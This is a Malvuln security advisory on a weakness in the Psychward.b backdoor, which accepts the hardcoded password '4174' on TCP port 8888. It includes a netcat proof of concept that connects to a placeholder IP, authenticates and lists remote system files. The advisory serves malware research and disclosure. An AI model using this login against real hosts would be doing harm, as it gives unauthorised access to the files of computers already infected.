Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source:  
Threat: Backdoor.Win32.Psychward.b  
Vulnerability: Weak Hardcoded Credentials  
Description: The malware listens on TCP port 8888 and requires authentication. However, the password "4174" is weak and hardcoded in cleartext within the PE file.  
Family: Psychward  
Type: PE32  
MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57  
Vuln ID: MVID-2022-0645  
Disclosure: 09/25/2022  
C:\>nc64.exe x.x.x.x 8888  
connected 09/12/22 20:44:12. version 0.2.1  
pwd 4174  
password accepted  
12520437.cpx 2,151  
12520850.cpx 2,233  
@AudioToastIcon.png 308  
@EnrollmentToastIcon.png 330  
@VpnToastIcon.png 404  
@WirelessDisplayToast.png 691  
aadauthhelper.dll 154,624  
aadtb.dll 954,880  
AboveLockAppHost.dll 252,928  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).